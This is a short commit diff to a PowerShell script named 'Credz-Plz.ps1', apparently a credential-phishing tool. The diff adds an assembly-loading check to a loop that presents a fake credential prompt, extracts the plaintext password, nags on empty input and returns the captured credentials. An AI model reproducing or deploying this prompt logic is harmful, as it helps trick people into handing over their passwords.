Update Credz-Plz.ps1
This commit is contained in:
parent
faa57b913c
commit
d0eb312f87
1 changed files with 25 additions and 22 deletions
|
@ -61,8 +61,12 @@ while ($form -eq $null)
|
||||||
$cred.getnetworkcredential().password
|
$cred.getnetworkcredential().password
|
||||||
|
|
||||||
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
|
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
|
||||||
|
{
|
||||||
|
if(-not ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.ManifestModule -like "*PresentationCore*" -or $_.ManifestModule -like "*PresentationFramework*" }))
|
||||||
{
|
{
|
||||||
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||||
|
}
|
||||||
|
|
||||||
$msgBody = "Credentials cannot be empty!"
|
$msgBody = "Credentials cannot be empty!"
|
||||||
$msgTitle = "Error"
|
$msgTitle = "Error"
|
||||||
$msgButton = 'Ok'
|
$msgButton = 'Ok'
|
||||||
|
@ -77,7 +81,6 @@ while ($form -eq $null)
|
||||||
return $creds
|
return $creds
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#----------------------------------------------------------------------------------------------------
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
Loading…
Reference in a new issue